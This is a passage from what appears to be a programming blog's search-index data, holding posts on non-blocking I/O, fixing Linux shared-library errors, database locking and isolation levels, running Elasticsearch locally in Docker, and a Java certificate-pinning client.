","permalink":"https://madhur.co.in/blog/2025/09/01/non-blocking-io.html","summary":"\u003cp\u003eWhen I first learned about non-blocking I/O, I had a burning question: how does a process know when I/O operations complete? Is there some background kernel process constantly checking for data and then notifying user-space applications? The answer reveals one of the most elegant solutions in systems programming.\u003c/p\u003e\n\u003ch2 id=\"the-problem-with-blocking-io\"\u003eThe Problem with Blocking I/O\u003c/h2\u003e\n\u003cp\u003eTo understand non-blocking I/O, let\u0026rsquo;s first examine what happens with traditional blocking I/O. When your program makes a system call like \u003ccode\u003eread()\u003c/code\u003e or \u003ccode\u003erecv()\u003c/code\u003e, the calling thread is suspended until the operation completes. For a web server handling thousands of connections, this means you\u0026rsquo;d need thousands of threads – each consuming memory and creating context-switching overhead.\u003c/p\u003e","title":"Non Blocking I/O"},{"content":" Author\u0026rsquo;s Note: I recently encountered this exact library issue with qimgv and OpenCV on my Arch Linux system. After solving it, I used Claude AI to help me structure this troubleshooting guide based on my experience. The problem and solution are genuine - I just wanted to create a comprehensive resource that others could benefit from.\nIf you\u0026rsquo;ve been using Linux for a while, you\u0026rsquo;ve probably encountered the dreaded \u0026ldquo;cannot open shared object file\u0026rdquo; error at least once. This error can be frustrating, especially when you\u0026rsquo;re trying to run a perfectly good application that worked yesterday. In this guide, we\u0026rsquo;ll explore what causes these errors and how to fix them systematically.\nUnderstanding the Error When you see an error like this:\nqimgv: error while loading shared libraries: libopencv_imgproc.so.411: cannot open shared object file: No such file or directory It means that the application (in this case qimgv) is looking for a specific shared library file that it can\u0026rsquo;t find on your system. Shared libraries are collections of code that multiple programs can use simultaneously, making your system more efficient.\nCommon Causes Several scenarios can lead to this error:\nMissing library: The required library isn\u0026rsquo;t installed on your system Version mismatch: You have a different version of the library than what the application expects Incorrect library path: The library exists but isn\u0026rsquo;t in the system\u0026rsquo;s search path Corrupted installation: The library files are damaged or incomplete Step-by-Step Troubleshooting Step 1: Check What Libraries Are Available First, let\u0026rsquo;s see what versions of the library you have installed:\nldconfig -p | grep [library_name] For our OpenCV example:\nldconfig -p | grep opencv This command will show you all the OpenCV libraries installed on your system along with their versions and paths.\nStep 2: Identify the Version Mismatch In our case, the output showed:\nlibopencv_imgproc.so.412 (libc6,x86-64) =\u0026gt; /usr/lib/libopencv_imgproc.so.412 The application was looking for libopencv_imgproc.so.411 but we had version 4.12 (.412) installed. This is a classic version mismatch.\nStep 3: Check What the Application Actually Needs To see exactly what libraries an application is trying to link to:\nldd $(which application_name) | grep [library_name] For example:\nldd $(which qimgv) | grep opencv This will show you all the OpenCV libraries that qimgv expects to find.\nStep 4: Choose Your Fix Strategy You have several options depending on the situation:\nOption A: Install the Correct Version (Recommended for missing libraries) If the library is completely missing, install it using pacman:\nsudo pacman -S opencv You can also search for OpenCV-related packages:\npacman -Ss opencv If you need development headers and additional libraries:\nsudo pacman -S opencv vtk hdf5 Option B: Create Symbolic Links (Best for version mismatches) When you have a newer version of the library that\u0026rsquo;s compatible with the older version the application expects, create symbolic links:\nsudo ln -s /usr/lib/libopencv_imgproc.so.412 /usr/lib/libopencv_imgproc.so.411 You might need to create links for multiple libraries. Based on the ldd output, you might need:\nsudo ln -s /usr/lib/libopencv_core.so.412 /usr/lib/libopencv_core.so.411 sudo ln -s /usr/lib/libopencv_imgcodecs.so.412 /usr/lib/libopencv_imgcodecs.so.411 sudo ln -s /usr/lib/libopencv_highgui.so.412 /usr/lib/libopencv_highgui.so.411 After creating symbolic links, update the library cache:\nsudo ldconfig Option C: Reinstall the Application Sometimes the easiest solution is to reinstall the problematic application to ensure all dependencies are properly resolved:\nsudo pacman -R qimgv sudo pacman -S qimgv You can also use pacman to check what packages depend on a specific library:\npacman -Qi opencv Or find which package provides a specific file:\npacman -Qo /usr/lib/libopencv_imgproc.so.412 Step 5: Verify the Fix After applying your chosen solution, test the application:\nqimgv If it still doesn\u0026rsquo;t work, run the ldd command again to see if there are other missing libraries.\nAdvanced Troubleshooting Checking Library Paths If the library exists but isn\u0026rsquo;t being found, check your library search paths:\necho $LD_LIBRARY_PATH You can temporarily add a directory to the search path:\nexport LD_LIBRARY_PATH=/path/to/library:$LD_LIBRARY_PATH Finding Libraries by Name To find all instances of a library on your system:\nfind /usr -name \u0026#34;libopencv_imgproc.so*\u0026#34; 2\u0026gt;/dev/null You can also use pacman to find which package provides a file:\npacman -F libopencv_imgproc.so Or search for packages containing specific files:\npacman -Fx opencv ### Checking Library Dependencies To see what other libraries a specific library depends on: ```bash ldd /usr/lib/libopencv_imgproc.so.412 Prevention Tips Use pacman: Install software through pacman when possible, as it handles dependencies automatically.\nKeep your system updated: Regular updates often resolve compatibility issues:\nsudo pacman -Syu Use AUR helpers carefully: When installing from AUR, be aware that it might create dependency conflicts. Consider using yay or paru for better dependency management:\nyay -S package-name Check for orphaned packages: Clean up unused dependencies:\nsudo pacman -Rns $(pacman -Qtdq) Use containerization: For complex applications with specific library requirements, consider using Docker or similar containerization tools.\nWhen Symbolic Links Might Not Work While symbolic links are often a quick fix, they\u0026rsquo;re not always appropriate:\nMajor version differences: Linking between major versions (e.g., OpenCV 3.x to 4.x) can cause crashes ABI incompatibility: Different library versions might have incompatible application binary interfaces Security concerns: Older applications might have security vulnerabilities when used with newer libraries In these cases, consider using the application\u0026rsquo;s official repositories, building from source, or using containerization.\nConclusion Shared library errors are common in Linux but usually straightforward to fix once you understand the underlying cause. The key is to systematically diagnose the problem: check what you have, identify what\u0026rsquo;s missing or mismatched, and choose the appropriate fix strategy.\nRemember that while symbolic links are often the quickest solution for version mismatches, they\u0026rsquo;re not always the safest long-term approach. When possible, prefer proper package management and keep your system updated to avoid these issues altogether.\nThe next time you encounter a \u0026ldquo;cannot open shared object file\u0026rdquo; error, you\u0026rsquo;ll have the tools and knowledge to diagnose and fix it efficiently. Happy troubleshooting!\n","permalink":"https://madhur.co.in/blog/2025/08/01/troubleshooting-shared-library-issues-linux.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eAuthor\u0026rsquo;s Note:\u003c/strong\u003e I recently encountered this exact library issue with qimgv and OpenCV on my Arch Linux system. After solving it, I used Claude AI to help me structure this troubleshooting guide based on my experience. The problem and solution are genuine - I just wanted to create a comprehensive resource that others could benefit from.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIf you\u0026rsquo;ve been using Linux for a while, you\u0026rsquo;ve probably encountered the dreaded \u0026ldquo;cannot open shared object file\u0026rdquo; error at least once. This error can be frustrating, especially when you\u0026rsquo;re trying to run a perfectly good application that worked yesterday. In this guide, we\u0026rsquo;ll explore what causes these errors and how to fix them systematically.\u003c/p\u003e","title":"Troubleshooting Shared Library Issues on Linux"},{"content":"Quick refereshers on how locks are implemented in databases.\nExclusive Locks - The row is locked for read and update. Until the exclusive lock is released, no reads and writes are allowed. Only one transaction can acquire an exclusive lock.\nShared Lock - The row is locked for update. However, readers are allowed to read. Multiple transactions are allowed to acquire shared locks.\nMajor points\nIf the transaction has shared lock on resource, other transaction cannot acquire exclusive lock on it.\nA process cannot acquire a shared lock on a resource that is locked by an exclusive lock.\nOptimistic vs Pessimistic Locking Optimistic - Let multiple transactions be allowed to update the row concurrently. One one will succeed and others will fail.\nPessimistic - Only one transaction is allowed to update the row. Others are put to wait.\nTransaction Isolation What happens when a transaction tries to read a row updated by another transaction?\nProblems when transaction isolation is not done\nDirty Read — Let’s take a situation where one transaction updates a row or a table but does not commit the changes. If the database lets another transaction read those changes (before it’s committed) then it’s called a dirty read. Why? Let’s say the first transaction rolls back its changes. The other transaction which read the row/table has stale data.\nNon-repeatable read — Another side effect of concurrent execution of transactions is that consecutive reads can retrieve different results if you allow another transaction to do updates in between\nPhantom read — In a similar situation as above, if one transaction does two reads of the same query, but another transaction inserts or deletes new rows leading to a change in the number of rows retrieved by the first transaction in its second read, it’s called a Phantom read.\nLevels of Isolation Read uncomitted - This level of isolation lets other transactions read data that was not committed to the database by other transactions.\nRead committed — This, as the name suggests, lets other transactions only read data that is committed to the database. While this looks like an ideal level of isolation, it only solves the dirty read problem mentioned above. If a transaction is updating a row, and another transaction tries to access it, it won’t be able to. But this can still cause non-repeatable and phantom reads because this applies only to updates and not read queries.\nRepeatable read - To counter the transactions from getting inconsistent data, we need a higher level of isolation and that is offered by repeatable read. In this, the resource is locked throughout the transaction. So, if the transaction contains two select queries and in between, if another transaction tries to update the same rows, it would be blocked from doing so. This isolation level is not immune to phantom reads though it helps against non-repeatable reads. This is the default level of isolation in many databases.\nSerializable — This is the highest level of isolation. In this, all concurrent transactions “appear” to be executed serially. Pay attention to how I said it appears to be. That’s because it’s not truly serially or sequentially executed. This level works against phantom reads as well.\nReferences https://medium.com/inspiredbrilliance/what-are-database-locks-1aff9117c290\n","permalink":"https://madhur.co.in/blog/2025/07/09/row-level-locking-database.html","summary":"\u003cp\u003eQuick refereshers on how locks are implemented in databases.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eExclusive Locks - The row is locked for read and update. Until the exclusive lock is released, no reads and writes are allowed. Only one transaction can acquire an exclusive lock.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eShared Lock - The row is locked for update. However, readers are allowed to read. Multiple transactions are allowed to acquire shared locks.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMajor points\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eIf the transaction has shared lock on resource, other transaction cannot acquire exclusive lock on it.\u003c/p\u003e","title":"Row level locking in database"},{"content":"If you\u0026rsquo;re running Elasticsearch in Docker locally, you might encounter a frustrating issue where your cluster suddenly goes into a red (unhealthy) state, even though everything seems fine. This often happens when your local disk usage exceeds 90%.\nI tend to mount the elasticsearch data directory into my host file system to preserve data.\nversion: \u0026#34;3.9\u0026#34; services: elasticsearch: image: elasticsearch:9.0.2 environment: - discovery.type=single-node - ES_JAVA_OPTS=-Xms1g -Xmx1g - xpack.security.enabled=false volumes: - ./es_data:/usr/share/elasticsearch/data ports: - target: 9200 published: 9200 networks: - elastic kibana: image: kibana:9.0.2 ports: - target: 5601 published: 5601 depends_on: - elasticsearch networks: - elastic volumes: es_data: driver: local networks: elastic: name: elastic driver: bridge The Problem: Disk Space Watermarks When your local filesystem usage exceeds 90%, Elasticsearch triggers its high watermark threshold, causing the cluster to enter a red state. This is particularly common on development machines where disk space is often limited.\nSolution: Adjusting Watermark Thresholds If you are facing the same issue, to resolve this, run this curl command which adjusts the disk space percentage at which elasticsearch goes into unhealthy state.\ncurl -X PUT \u0026#34;localhost:9200/_cluster/settings\u0026#34; \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ -d \u0026#39;{ \u0026#34;persistent\u0026#34;: { \u0026#34;cluster.routing.allocation.disk.watermark.low\u0026#34;: \u0026#34;95%\u0026#34;, \u0026#34;cluster.routing.allocation.disk.watermark.high\u0026#34;: \u0026#34;97%\u0026#34;, \u0026#34;cluster.routing.allocation.disk.watermark.flood_stage\u0026#34;: \u0026#34;98%\u0026#34; } }\u0026#39; Check your cluster health:\ncurl \u0026#34;localhost:9200/_cluster/health?pretty\u0026#34; ","permalink":"https://madhur.co.in/blog/2025/06/01/run-elasticsearch-docker.html","summary":"\u003cp\u003eIf you\u0026rsquo;re running Elasticsearch in Docker locally, you might encounter a frustrating issue where your cluster suddenly goes into a red (unhealthy) state, even though everything seems fine. This often happens when your local disk usage exceeds 90%.\u003c/p\u003e\n\u003cp\u003eI tend to mount the elasticsearch data directory into my host file system to preserve data.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eversion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;3.9\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eservices\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eelasticsearch\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eimage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eelasticsearch:9.0.2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eenvironment\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003ediscovery.type=single-node\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003eES_JAVA_OPTS=-Xms1g -Xmx1g\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003expack.security.enabled=false\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003evolumes\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003e./es_data:/usr/share/elasticsearch/data\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eports\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"nt\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e9200\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nt\"\u003epublished\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e9200\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003enetworks\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003eelastic\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003ekibana\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eimage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003ekibana:9.0.2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003eports\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"nt\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5601\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nt\"\u003epublished\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5601\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003edepends_on\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003eelasticsearch\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003enetworks\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e- \u003cspan class=\"l\"\u003eelastic      \u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003evolumes\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003ees_data\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003edriver\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003elocal\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003enetworks\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003eelastic\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eelastic\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nt\"\u003edriver\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003ebridge\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"the-problem-disk-space-watermarks\"\u003eThe Problem: Disk Space Watermarks\u003c/h3\u003e\n\u003cp\u003eWhen your local filesystem usage exceeds 90%, Elasticsearch triggers its high watermark threshold, causing the cluster to enter a red state. This is particularly common on development machines where disk space is often limited.\u003c/p\u003e","title":"Run elasticsearch in docker"},{"content":"Certificate pinning code for Java\npackage org.example; import javax.net.ssl.*; import java.io.*; import java.net.URL; import java.security.MessageDigest; import java.security.cert.Certificate; import java.security.cert.X509Certificate; import java.util.Base64; public class CertificatePinningClient { // SHA-256 fingerprint of the expected certificate // You need to replace this with the actual certificate fingerprint of madhur.co.in private static final String EXPECTED_CERT_SHA256 = \u0026#34;YOUR_CERT_FINGERPRINT_HERE\u0026#34;; public static void main(String[] args) { try { String fingerprint = getCertificateFingerprint(\u0026#34;https://localhost:8443\u0026#34;); System.out.println(fingerprint); // String response = makeSecureRequest(\u0026#34;https://madhur.co.in\u0026#34;); // System.out.println(\u0026#34;Response: \u0026#34; + response); } catch (Exception e) { System.err.println(\u0026#34;Error: \u0026#34; + e.getMessage()); e.printStackTrace(); } } public static String makeSecureRequest(String urlString) throws Exception { URL url = new URL(urlString); HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); // Set up custom SSL context with certificate pinning SSLContext sslContext = SSLContext.getInstance(\u0026#34;TLS\u0026#34;); sslContext.init(null, new TrustManager[]{new PinningTrustManager()}, null); connection.setSSLSocketFactory(sslContext.getSocketFactory()); // Set request properties connection.setRequestMethod(\u0026#34;GET\u0026#34;); connection.setConnectTimeout(10000); connection.setReadTimeout(10000); // Make the request connection.getResponseCode(); // Read the response StringBuilder response = new StringBuilder(); try (BufferedReader reader = new BufferedReader( new InputStreamReader(connection.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { response.append(line).append(\u0026#34;\\n\u0026#34;); } } connection.disconnect(); return response.toString(); } // Custom TrustManager that implements certificate pinning private static class PinningTrustManager implements X509TrustManager { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) { // Not used for client certificates in this example } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) throws java.security.cert.CertificateException { if (chain == null || chain.length == 0) { throw new java.security.cert.CertificateException(\u0026#34;Certificate chain is empty\u0026#34;); } // Get the server certificate (first in chain) X509Certificate serverCert = chain[0]; try { // Calculate SHA-256 fingerprint of the certificate MessageDigest md = MessageDigest.getInstance(\u0026#34;SHA-256\u0026#34;); byte[] certBytes = serverCert.getEncoded(); byte[] fingerprint = md.digest(certBytes); String certFingerprint = Base64.getEncoder().encodeToString(fingerprint); System.out.println(\u0026#34;Server certificate fingerprint: \u0026#34; + certFingerprint); System.out.println(\u0026#34;Expected fingerprint: \u0026#34; + EXPECTED_CERT_SHA256); // Check if the certificate matches our pinned certificate if (!EXPECTED_CERT_SHA256.equals(certFingerprint)) { throw new java.security.cert.CertificateException(\u0026#34;Certificate pinning failed! \u0026#34; + \u0026#34;Expected: \u0026#34; + EXPECTED_CERT_SHA256 + \u0026#34;, Got: \u0026#34; + certFingerprint); } System.out.println(\u0026#34;Certificate pinning validation passed!\u0026#34;); } catch (Exception e) { throw new java.security.cert.CertificateException(\u0026#34;Error validating certificate: \u0026#34; + e.getMessage(), e); } } @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; } } // Utility method to get certificate fingerprint for a given URL // Run this first to get the actual certificate fingerprint public static String getCertificateFingerprint(String urlString) throws Exception { URL url = new URL(urlString); HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); connection.connect(); Certificate[] certificates = connection.getServerCertificates(); if (certificates.length \u0026gt; 0) { X509Certificate cert = (X509Certificate) certificates[0]; MessageDigest md = MessageDigest.getInstance(\u0026#34;SHA-256\u0026#34;); byte[] fingerprint = md.digest(cert.getEncoded()); return Base64.getEncoder().encodeToString(fingerprint); } connection.disconnect(); throw new Exception(\u0026#34;No certificates found\u0026#34;); } } ","permalink":"https://madhur.co.in/blog/2025/05/01/http-certificate-pinning.html","summary":"\u003cp\u003eCertificate pinning code for Java\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003epackage\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eorg.example\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejavax.net.ssl.*\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.io.*\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.net.URL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.security.MessageDigest\u003c/span\u003e\u003cspan 